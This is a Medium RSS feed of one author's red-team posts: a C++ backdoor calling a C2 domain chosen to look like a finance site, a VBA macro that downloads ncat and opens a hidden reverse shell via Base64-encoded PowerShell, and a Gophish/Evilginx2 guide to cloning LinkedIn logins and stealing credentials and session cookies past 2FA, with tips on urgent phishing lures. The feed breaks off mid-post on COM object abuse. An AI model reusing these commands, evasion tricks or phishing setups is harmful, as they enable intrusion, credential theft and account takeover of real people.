<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Dillon Singh on Medium]]></title>
        <description><![CDATA[Stories by Dillon Singh on Medium]]></description>
        <link>https://medium.com/@DillonSingh?source=rss-8e21b3c90dc4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Stories by Dillon Singh on Medium</title>
            <link>https://medium.com/@DillonSingh?source=rss-8e21b3c90dc4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 14:39:19 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@DillonSingh/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[C++ Malware Development Part 1: C2 Backdoor]]></title>
            <link>https://medium.com/@DillonSingh/c-malware-development-part-1-c2-backdoor-9191b707ec0b?source=rss-8e21b3c90dc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/9191b707ec0b</guid>
            <dc:creator><![CDATA[Dillon Singh]]></dc:creator>
            <pubDate>Tue, 01 Nov 2022 13:09:36 GMT</pubDate>
            <atom:updated>2024-01-09T14:32:33.343Z</atom:updated>
            <content:encoded><![CDATA[<h3>Malware Development Part 1</h3><h3>Introduction</h3><p>I am connecting to CALDERA via HTTP. My Lab, which CALDERA is also a part of, is hosted on AWS, as an EC2 instance, and is configured on Terraform, inside a small virtual private cloud. The details of the infrastructure has been covered in my previous post: <a href="https://medium.com/@DillonSingh/purple-teaming-like-a-pro-overview-of-project-part-1-a398a8f55baf">https://medium.com/@DillonSingh/purple-teaming-like-a-pro-overview-of-project-part-1-a398a8f55baf</a>. My C2 is bootable from my Command Prompt and my backdoor agent is custom designed in C++.</p><h4>Access To Project on GitHub:</h4><p><a href="https://github.com/DillonSingh/HTTP-POST-Request-/blob/main/HTTP2Caldera.cpp">HTTP-POST-Request-/HTTP2Caldera.cpp at main · DillonSingh/HTTP-POST-Request- (github.com)</a></p><h3>Windows APIs</h3><p>APIs or Windows commands are functions that can be called like any function. In reality, applications can’t actually do anything without Windows APIs. Windows APIs are responsible for helping applications to create files, modify registry keys, connect to the internet and start new processes so they’re an integral part of my Custom designed Red Team Caldera Agent.</p><p>Windows Libraries are executable files that contain lots of functions (APIs). They also call to other APIs in other libraries and there are libraries for registry, graphics, internet, audio, image processing and more. Using known libraries can simplify your code but they can also make malware detection &amp; analysis easier because historically analysts have noticed when a program calls specific APIs which do not align to the application’s assumed functionality, analysts have created detection rules to flag such behaviour so that they can detect malicious behaviour as soon as possible.</p><h4>Commonly used Windows Libraries in Malware</h4><ol><li><strong>Kernel32.dll:</strong> For most of core windows functionality including file manipulation and others</li><li><strong>Advapi32.dll:</strong> For registry changes</li><li><strong>ws2_32.dll:</strong> for network sockets (internet communication)</li><li><strong>Wininet.dll:</strong> for HTTP &amp; FTP communication. Simply the use of ws2_32.dll</li><li><strong>ntdll.dll:</strong> This is mostly for windows internal use, more recommended to use kernel32.dll *</li><li><strong>User32.dll:</strong> For UI creation (windows, buttons … etc)</li><li><strong>Urlmon.dll:</strong> for http(s) communication &amp; URL parsing. Known for <strong>URLDownloadToFile</strong> API (used widely by downloaders malware</li></ol><p>To connect to the internet using HTTP, we will need to use wininet.dll library and its APIs. We will include these in our POST Request to CALDERA:</p><ol><li>#include &lt;windows.h&gt;</li><li>#inlcude &lt;wininit.h&gt;</li><li>#pragma comment (lib, “Wininet.h)</li></ol><h3>POST Request to My CALDERA C2 Over HTTP:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7evyfJWy9pMA16RHivyMyg.png" /></figure><p>The domain I am sending this POST request to is my C2. I have purchased www.ecoinvesten.com from AWS 53 route cloud services to mask my C2 as a legitimate investing domain. I’ve done this because I understand it’s common policy for SOC analysts not to track traffic from domains that are connected to finance and healthcare. As such, I’ve named my domain ecoinvesten.com. Another reason I’ve used a domain instead of an IP is that if someone clicks on a link and sees an IP in the search bar, it’s likely to get reported, but, if a person sees a legitimate domain after clicking a link, they’re less likely to suspect anything malicious.</p><p>Furthermore, the IP address of my C2 isn’t static so if it’s detected, I can easily regenerate my lab to receive a different IP, and since its configured using Terraform and AWS, it’s inexpensive and efficient to do so.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Evd1YjXzV-vRLCY-KG-WbQ.png" /><figcaption>AWS Route 53 Hosted Zones Proxy</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JkPolARdmESrM7TUDuULww.png" /></figure><h4>Base64 Data sent to Proxy C2 to establish connection</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PnwfHNrLGMB_8JU5S6Zq_w.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9191b707ec0b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[VBA Macro Malware: Overview & GitHub Repository]]></title>
            <link>https://medium.com/@DillonSingh/vba-macro-malware-overview-github-repository-2e7be50eb366?source=rss-8e21b3c90dc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/2e7be50eb366</guid>
            <dc:creator><![CDATA[Dillon Singh]]></dc:creator>
            <pubDate>Tue, 11 Oct 2022 16:42:47 GMT</pubDate>
            <atom:updated>2024-01-09T14:33:18.387Z</atom:updated>
            <content:encoded><![CDATA[<h3>Custom VBA Macro Script: Reverse Shell</h3><h3>Introduction</h3><p>I have written a script that spawns a reverse shell upon enablement of Word macros. I have added social engineering to convince victims to enable this. Though this would be easy to detect, I decided to publish this as a means of sharing my progress in malware development.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O0LGXwTTOChpcgVZabXvMg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fHjrIUV6OtJyHTVebpyqRQ.png" /><figcaption><a href="https://bytelearning.blogspot.com/2019/10/reverse-shell.html">Bytelearning | Un blog centrado principalmente en Linux</a></figcaption></figure><h3>My Malicious VBA Macro Script:</h3><p>VBA Macro Malware GitHub Repository: <a href="https://github.com/DillonSingh/Macro-Malware">DillonSingh/Macro-Malware: VBA Macro Malware: Reverse Shell with Social Engineering (github.com)</a></p><h3>Normal VBA Script Execution → Base64 Encoded Execution Using obfuscation in PowerShell</h3><p>For execution using PowerShell, open up PS, initialize and declare a variable containing the URL to download the malicious file. Use a COM Object to open a browser to download the specified file. Last, you would need to specify the Path to execute the command. The following completes that command:</p><p><em>‘(New.ObjectSystem.Net.Webclient)DownloadFile(&lt;variable containing the URL to our malware&gt;, “$env:APPDATA\ncat.exe”).</em></p><h4>Execution Of The Command</h4><p><em>Start-Process -FilePath “$env:&lt;cmd.exe or comspec&gt; — ArgumentList “/c $env:APPDATA\ncat.exe &lt;victim IP&gt; &lt;port&gt; -e cmd.exe” -WindowStyle hidden</em></p><h4>Demonstration</h4><p>I am using CyberChef to convert the above PowerShell command to Base64 encoded text. CyberChef URL: <a href="https://gchq.github.io/CyberChef/">https://gchq.github.io/CyberChef/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_XyP8AMv0aK10dG2I0u_cQ.png" /></figure><p>Before converting the script to Base64 data, it&#39;s necessary to first encode the command in Unicode. I am doing this because this script needs to execute on anyone in any language. Since Unicode increases each bit by 1, this is made possible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0lYPjO4JVWLGtztddOVdKg.png" /><figcaption>Conversion to Base64</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C9jQJd3G5VVh_Qbcwl8I2g.png" /></figure><p>I have commented line 2 &amp; 3 to ensure the compiler doesn’t execute them. As you can see, I’ve included the Base64 data to execute. This works perfectly well whilst stealthier.</p><h3>LOLBAS Techniques</h3><p>LOLBAS GitHub Repository: <a href="https://lolbas-project.github.io/">LOLBAS (lolbas-project.github.io)</a></p><p>LOLBAS is the abbreviated term for Living Off the Land Binaries. Living Off the Land Binaries are binaries of a non-malicious nature. They have been exploited by cyber criminals to obfuscate their malicious activity since LOLBAS binaries tend to be local to the Operating System. Initially, LOLBAS attacks were used in a post-exploitation phase in order to achieve persistence or escalate privileges but the pre-installed tools on a machine are now being used to bypass detection and aid in malware delivery. This allows adversaries to achieve their objective, without relying on custom malware, scripts, or files. LOLBAS are commonly Microsoft signed binaries, such as Certutil, Windows Management Instrumentation Command-line (WMIC), or Bitwise. They can be used for a range of attacks, including executing code, to performing file operations (downloading, uploading, copying, etc.), to stealing passwords.</p><h3>TA505</h3><p>The APT group TA505 have used LOLBAS in the past to bypass windows detection and deliver their ServHelper malware via a spear phishing campaign.</p><p>‘By using distributing systems, such as Necurs botnet, the group have been widely recognised since 2014 for their malleable, adjustable, and extensive ransomware, malware, trojans and spam operations. The real issue is that TA505 uses localised HTML files in different languages. This means that targets are made worldwide, in any region, within any vertical. The direct effect TA505 has had on promoting entities, including Globelmposter and other malware options such as the Trojan FlawedAmmyy, has been significant. The group went quiet for a period, but now TA505 is back to circulating Remote Access Trojans (RATs), malware downloaders and ransomwares, onto their victim’s technology. After opening a false attachment, the HTML downloads a malicious Excel file that drops the payload into the victim’s machine. Upon execution, the malware dumps the GraceWire Trojan into the infected device. Attackers also use an IP traceback service, allowing them to track the IP addresses of machines that download their malicious Excel file.’ — ‘<a href="https://www.securityhq.com/blog/ta505-global-phishing-threat/">Updated Malwares from TA505 — Financial and Retail Organisations at Risk from Global Phishing Threat</a>’</p><p>Now security companies have written many detection rules for such attacks so incident handler and SOC analysts now have an easier job of detecting LOLBAS attacks.</p><h3>Other Techniques of Initial Access</h3><h4>Exploits</h4><ul><li>Take advantage of a coding mistake</li><li>Forces the application to do something it’s not intended to do</li><li>Unpatched Vulnerabilities called Zero-Day</li></ul><h4>Client-Side Attacks</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*keyb3wjF6db9oY-4qzdCCg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SPGHo-QazHu-SQ3w-_YDUg.png" /><figcaption>computersecuritypgp.blogspot.com</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2e7be50eb366" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Social Engineering]]></title>
            <link>https://medium.com/@DillonSingh/building-a-deceptive-spearphishing-campaign-with-evilginx2-gophish-b2bd762da314?source=rss-8e21b3c90dc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/b2bd762da314</guid>
            <dc:creator><![CDATA[Dillon Singh]]></dc:creator>
            <pubDate>Mon, 03 Oct 2022 13:45:46 GMT</pubDate>
            <atom:updated>2024-01-09T14:33:37.267Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>By Reading This Post, You Will:</strong></p><ol><li>Learn about the different attack vectors for initial access</li><li>Learn about the attack payloads used by APT groups e.g. Stylesheet Scripts, C# Delivery, INF Files, and COM Objects.</li><li>Crafting a deceptive social engineering campaign with Gophish &amp; Evilginx2</li><li>Learning how to use both Gophish &amp; Evilginx2</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TH_c0egoMbCvvhNq.jpg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*K3V8KZPe4lGoZuM6" /><figcaption>Source: Diligent Boards</figcaption></figure><h3>Introduction</h3><p>To increase the chances of someone clicking on your attachment, it can be helpful to create a sense of urgency or fear in your message. When people feel like they need to act quickly, they may not take the time to verify the validity of a request or link. To create this urgency or fear, you can add a convincing backstory to your message. For example, you could say something like, “Did you know your application has been leaked?” or “Someone is selling a modified version of your app.” It’s important to do some research on the person you are targeting to make your phishing story more convincing. By creating curiosity, you can increase the likelihood of someone clicking on the link.</p><h3>Crafting A Deceptive Social Engineering Campaign</h3><h4>Plan Overview</h4><ol><li>Login to GoPhish and create your campaign</li><li>Create an account on Sendgrid to send emails</li><li>Connect Sendgrid with GoPhish</li><li>Send a test email to your own email</li><li>Create our fake email</li><li>Send to the victims (to own email) and track their response</li></ol><h4>Spear Phishing: Register a Domain on AWS 53 Route</h4><p>First, you need a domain that represents your phishing story. You can register this domain directly from AWS. AWS Route 53 is used for registering &amp; managing a domain in AWS so once registered, the domain will be to a Hosted Zone. Hosted Zones are used to manage the domain to add the IP it reflects. Additionally, domain management can be automated with Terraform to link to your phishing EC2.</p><h4>Register a Domain</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hzma0FPSfGyaBcP-MbcdIA.png" /><figcaption>Route 53 Dashboard</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kyXXSL2xkE8m9ZNCfQ_v7Q.png" /><figcaption>Example of choosing a domain</figcaption></figure><p>To register a domain, click ‘Register domain’ then choose a domain name. In the example above, I have typed finance, and AWS has given me all the available domains I can choose. The red cross means that domain is unavailable. When you are selecting a domain, it is crucial it matches your phishing story because if you story revolves around an XBOX subscription, but your domain is <a href="http://www.ninjashinobi.com/">www.ninjashinobi.com</a> a victim will notice and potentially report your domain as suspicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rHX-fDIf6Lz0etA8wM5bdA.png" /><figcaption>Domains I’ll be using as a part of my red team campaign | I have purchased 2</figcaption></figure><ol><li><strong>www.ecoinvesten.com: </strong>Domain for my C2 proxy</li><li><strong>www.linkedinsoutions.com: </strong>Domain for my social engineering campaign</li></ol><h4>Creating A Record</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4SMtUKfEOUnC5lHY3i_-UQ.png" /></figure><p>I’ve used my CALDERA C2 proxy as a record for <a href="http://www.ecoinvesten.com./">www.ecoinvesten.com.</a> A record value is always an<strong> </strong>IP address. The IP should be static i.e. it should not change frequently. For example, Elastic IPs in AWS are static IPs. A record will be used to map your root/naked domain-name viz example.com to Elastic IP say 198.51.100.77. You can map an IPv4 Public IP with A record</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jWH1tfrUVUVBArLYc9Kqaw.png" /></figure><p>Record types SQA &amp; NS are automatically created by AWS. You do not need to worry about them. Type A is the record we have created. Now I will search for <a href="http://www.ecoinvesten.com./">www.ecoinvesten.com.</a> As you can see below, that domain has directed me to my C2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PyIVxoGOr6ooAzWXTffCEQ.png" /><figcaption><a href="http://www.linkedinsoliution/">www.linkedinsol</a>utions.com Domain</figcaption></figure><p>I have Terraform configured to automatically associate my Lab with my AWS 53 Route domains.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1tNKq1LhgVvc2CqFa8IlsA.png" /><figcaption>CALDERA Proxy C2</figcaption></figure><h3>Spear Phishing: Prepare Gophish</h3><p>Gophish is a powerful, easy-to-use, open-source phishing toolkit intended to help red teamers conduct real-world phishing simulations. This app will allow you to create suspicious emails and send them to all your targets. One particularly great feature is that you can track opening and clicking behavior. It can also clone pages sign-in pages and grab passwords. Gophish doesn’t send emails however. You will need to use an emailing service like Sendgrid, Google Workspace, or another platform.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZUH2GZcnZ9tVk8MVm-dQiw.png" /><figcaption>Sendgrid Home Page | You will need to create a Sendgrid account.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RUp6anrC-yaN11Au5n6LWQ.png" /><figcaption>Authenticating my Domain</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n73Lu7SIBuQyNv4Q937Ynw.png" /></figure><ol><li>Go to AWS Route 53</li><li>Go into your domain of choice</li><li>Click create a new record</li><li>Use CNAME as your record type, record name should be the start of the domain before the 2nd ‘.’ For example ‘s2._domainkey’ is the record name, value is the full value from Sendgrid.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j9WABl7v2s_bOIe7huNQJw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U0p4clAqFWmy5KWYn3MexQ.png" /></figure><p>5. Verify you’ve added these records as done below and verify.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2peWloYd5TQaKB8lfXobDw.png" /></figure><p>6. Done!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QzKSE26s5zO7BylI0X-yAA.png" /></figure><h4>Verify Single Sender Verification Now</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7xCLouCYjlkGPP6K_-WSUw.png" /></figure><p>In this section, I use linkedin solutions as my username and billing-noreply@&lt;my domain&gt;.com.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bESW5PwtZ5fzNxqe6DgOVA.png" /><figcaption>Single Sender Verification Verified</figcaption></figure><p>7. All that was left was to add my billing information and verify my email. Now that’s complete I have finished setting up my Sendgrid account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8bE9wZ8OTS_u1LLPXF0Ddw.png" /><figcaption>I have now finished setting up my account</figcaption></figure><h3>Integration Of Gophish &amp; Sendgrid</h3><p>go.linkedinsoluitions.com from Hosted Zones AWS Route 53 is configured to use my Gophish IP so I can just use my domain. I copy and paste <a href="https://go.linkedinsolutions.com:333/">https://go.linkedinsolutions.com:333</a>3. Either you’ll be met with a warning from Chrome or your antivirus. Press visit anyway or whatever it says to that nature.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BecNVQjkv8KxFRF4yEzDFw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4GI_6fk7bbYVxQxQiulQ9g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mEuVE26tbmmUKQ-acjOJ2w.png" /></figure><p>‘Username: <strong>admin</strong> &amp; Password: <strong>gophish</strong>’. Enter these credentials to reset your password. Once that’s done, you’ll be taken to the Dashboard, as seen in the 2nd image directly below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gIucx1Pr0h_tif95cXBCig.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*agW2Oaqe7KqnDWACDIMFwA.png" /></figure><p>Go to Sendgrid to ‘Integrate using our Web API or SMTP Relay’ feature. Choose SMTP integration. Because we want to use Sendgrid’s email servers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x8MbZsbj94Cu9Pc7fFJsOg.png" /></figure><p>After you’ve reached below, create an API key to use as the password in Gophish and save it somewhere safe. The information under ‘Configure your application’ are details we’ll be using to create a new ‘Sender Profile’ on Gophish. Once, all the information has been included press ‘Send Test Email’ to yourself to see how it works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HCkP2GU1cKe9rjynmOpmdg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bnqEkw1D8DBejhptr5KZ8g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M8HZpS8HW2w5-fLcsEqDaQ.png" /><figcaption>Creating a new Sender Profile using Sendgrid &amp; Gophish</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GkcnCLs8KFjPWwWOpOHG_g.png" /><figcaption>Received test email from Gophish</figcaption></figure><h3>Let’s Create An Email Template on Gophish</h3><p>Unfortunately, I cannot send any phishing emails as I was blocked from using Sendgrid’s SMTP services, but I will carry out the instruction and will provide clear screenshots.</p><ol><li>Add New Template Name</li><li>Import .eml mail file</li><li>Make your adjustments to your LinkedIn phishing email</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pN3QFucY_hQnpgjpecuRjw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MKxFOC28bvHOLi4posR2zw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WDa3SoxWf2jp7wZxjspk8w.png" /><figcaption>LinkedIn Premium Subscription Email Template on Gophish</figcaption></figure><p>Once the victim has clicked the link to cancel their supposed subscription, they will be transferred to a Landing Page as depicted below. Here they will input their LinkedIn credentials and Gophish capture all submitted data, including their passwords in which they’ll be accessible to you from Gophish.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QxlVngRPMX-F1Y28a-YFYA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*39JYj_YwM4WeXJ7bO3MIjw.png" /></figure><h3>Disadvantages of Gophish</h3><ol><li>Doesn’t check passwords whether they’re correct</li><li>Doesn’t work with Multi-factor authentication</li></ol><h3>Using Evilginx2 To Steal Login Credentials And To Bypass 2FA (Two Factor Authentication)</h3><p>Evilginx2 is a tool made for replicating sign-in pages. Terraform and Evilginx2 will be set up as part of our infrastructure in our VPC Linux VM. Evilginx2 is able to grab passwords and bypass time-based token two factor authentication measures, but is not able to bypass a FIDO U2F zero trust security key. Evilginx2 works as a proxy; this is better than Gophish because everything works even more seamlessly. Evilginx2 can grab cookies and also detects incorrect passwords. Another advantage of Evilginx2 is that it’s up-to-date and can clone multiple popular social media platforms.</p><p>To execute Evilginx2, we will SSH into Evilginx’s, produced from our terraform infrastructure, via the CLI, and then ‘sudo ./evilginx2 -p phishlets’ to display all available phishlets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uVlHB4aXNHgE_9UHvnF9gQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LhaEBMR_-3RdxKrbeS8JFw.png" /><figcaption>SSH into Evilginx2</figcaption></figure><h3>Configuring My AWS Hosted ‘Linkedinsolutions.com’ Domain</h3><ol><li>Use the “config” command to configure the Evilginx2 IP address and your phishing domain (mine is linkedinsolutions.com as seen below)</li><li>Configure your chosen phishing domain to connect to the relevant phishlet. For my linkedinsolutions.com I will use the LinkedIn phishlet.</li><li>Enable the phishlet — ‘phishlets enable linkedin’</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PkcdgGvGSR9XwK4DVeNKIw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cYb4nSC0QC7jyVCqXbA3cQ.png" /></figure><p>Our domain is now enabled and connected to Evilginx2 LinkedIn phishlet. Evilginx2 will produce an SSL certificate for our phishing domain. We now have a fully functional proxy of LinkedIn we can deploy for our social engineering campaigns.</p><h3>Creating The Lure URL</h3><p>Enter the ‘lures create linkedin’ command to create the proxy URL, and then use the ‘lures get-url 0’ command to print the URL. For demonstration purposes, I will copy and paste it into an incognito browser and enter credentials to illustrate how they are captured, as well as cookies from the session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WMt2dvXEtjACa44Sb74cYA.png" /></figure><h4>Proxy From Evilginx2:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BlYMvX45gXvaosX9yZ28xw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sruwDtvgS0l8ezxeKDDr_Q.png" /><figcaption>Proof Evilginx2 checks passwords</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aQp4kUdmGgMr4PpWGhVtWA.png" /><figcaption>You can even Sign up or go to the LinkedIn Homepage</figcaption></figure><p>To login to the victim(s) account, you can use the commands to display their credentials or use their listed cookies, import them into Cookie Editor and then login that way.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sj1Wyr0HLQ0TY5aZmqUTSw.png" /></figure><h3>My Conclusion</h3><p>I think I prefer Evilginx2 to conduct red team Spearphishing campaigns because it feels more seamless, is a fully functional cloned proxy phishlet, bypasses 2MA authentication, and checks passwords. Moreover, in my demonstration, I was limited with the Gophish Spearphishing demonstration as I was blocked for a reason I don’t understand.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b2bd762da314" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[APT COM Object Abuse]]></title>
            <link>https://medium.com/@DillonSingh/advanced-red-teaming-weaponization-adversary-simulation-weaponising-com-objects-part-1-af62c7915208?source=rss-8e21b3c90dc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/af62c7915208</guid>
            <dc:creator><![CDATA[Dillon Singh]]></dc:creator>
            <pubDate>Fri, 16 Sep 2022 13:57:41 GMT</pubDate>
            <atom:updated>2024-01-09T14:33:55.993Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>By Reading This Post, You Will:</strong></p><ol><li>Understand what COM Objects are</li><li>How they are being abused</li><li>What COM Scriptlets look like</li></ol><h3>Introduction</h3><p>In this series, I will provide a technical deep-dive into the weaponisation of COM objects. At first, I was confused as to what this was and how attackers are using this as a part of their APT plan. I decided to clear all confusions and put effort into understanding this concept. Here is my journey.</p><p>Let’s first understand what COM Objects are, what their intended use is, and how attackers have been weaponizing them. I’ll also be developing my own simple COM Object Scriptlet later too. Now, let’s begin by covering some essential terminologies. Let’s discuss what objects and interfaces are.</p><p><strong>Video explaining COM Objects: </strong><a href="https://www.youtube.com/watch?v=svFundrBIiQ&amp;t=28s">COM Hijacking (Persistence) — YouTube</a></p><h3>What Is An O<strong>bject</strong>?</h3><p>An object is an element (or instance) of a class; objects have the behaviors of their class. A class is the definition of a set of attributes and functions grouped for a specified purpose. The purpose is generally to provide the functionality to services outside the object.</p><h3><strong>What Is A Class?</strong></h3><p>A class describes the contents of the objects that belong to it: it describes an aggregate of data fields (called instance variables) and defines the operations (called methods). <strong>Reference:</strong> <a href="https://caml.inria.fr/pub/docs/oreilly-book/html/book-ora140.html">https://caml.inria.fr/pub/docs/oreilly-book/html/book-ora140.html</a></p><p>A client never has direct access to the COM object directly. Clients always access the object through the interfaces that the object supports. Therefore a COM object exposes its features through an interface.</p><h3>What is Microsoft COM?</h3><p>‘’The Microsoft Component Object Model (COM) is a platform-independent, distributed, object-oriented system for creating binary software components that can interact.’’ — Microsoft</p><p>In simpler words, COM is just a system or standard to define how objects are configured. It’s platform-independent which means they are compatible with any language, similar to JSON.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DMoLzgOceWQ8__KB" /><figcaption>Reference: <a href="https://mohamed-fakroud.gitbook.io/red-teamings-dojo/windows-internals/playing-around-com-objects-part-1">https://mohamed-fakroud.gitbook.io/red-teamings-dojo/windows-internals/playing-around-com-objects-part-1</a></figcaption></figure><p>‘’Microsoft introduced Component Object Model (COM) in Windows 3.11 as a method to implement objects that could be used by different frameworks (ActiveX, COM+, DCOM, etc.) and in different Windows environments allowing interoperability, inter-process communication and code reuse.’’ Microsoft</p><h4>There are 3 types of communication between a client and server that can occur:</h4><ol><li><strong>In-Process COM Components:</strong> A process will request a COM object, the kernel will load the respective DLL to a memory address and share the memory region of the DLL between the processes</li><li><strong>Out-of-Process COM Components:</strong> Same as <strong>In-process</strong>, but the kernel will create a separate process that will load the DLL.</li><li><strong>Remote COM Components:</strong> Same as Out-of-Process but over a network.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cY5lQRIMcvaZUgQSOjoxUA.png" /><figcaption><a href="https://www.youtube.com/watch?v=svFundrBIiQ&amp;t=28s">COM Hijacking (Persistence) — YouTube</a></figcaption></figure><h3>How Adversaries Are Weaponizing COM Objects</h3><p>COM Objects were originally introduced to enable Microsoft Office applications to communicate and exchange data between documents. For example, embedding an Excel chart inside a Word document or PowerPoint presentation. This ability is called OLE. If for instance, I was a part of a red team engagement, I could weaponise a DCOM object by injecting a COM into a Windows DLL, access the DCOM object remotely using Microsoft RPC and execute malicious commands using the Windows signed application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nqc7ZWEHKYGw4RoO.png" /><figcaption>Reference: <a href="https://medium.com/@jasemalsadi/dissecting-com-objects-9b1ea3f18964">https://medium.com/@jasemalsadi/dissecting-com-objects-9b1ea3f18964</a></figcaption></figure><p>For an adversary to get his foot inside any organisation’s network, they need to have a payload delivery method like a spear-phishing email with a malicious document and macro and a payload. The power of COM Objects’ is primarily reliant on the payload phase. Attackers’ also deliver their malicious COM object Scriptlet payload inside a LNK file, or inside a .zip file in a malicious macro to bypass defenses, or a document with an OLE Embedded.</p><p>Attackers have also been known to script their own COM Scriptlet’s using JavaScript or VBS code. They can write it to download and execute their desired commands using a Windows legitimate application. These Scriptlet are saved in *.sct files in XML format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fIYEDrNVxR7NfT7bQNKyeQ.png" /><figcaption>The structure of such Scriptlets</figcaption></figure><p>In the registration section, the ClassID is a unique identifier for this COM Object. It’s used to find the object, load it and execute its code. ProgID is a human-friendly identifier for this COM Object that can be used. Also, near the final header of the registration section, you got your script. This will be executed in the registration phase allowing your command to execute by just trying to register such a COM object.</p><p>There are many Windows legitimate applications that can register and execute such Scriptlets. Below I will show an example of using a Windows COM Object via PowerShell.</p><h3>Example of Using InternetExplorer.Application COM Object in PowerShell:</h3><figure><img alt="" 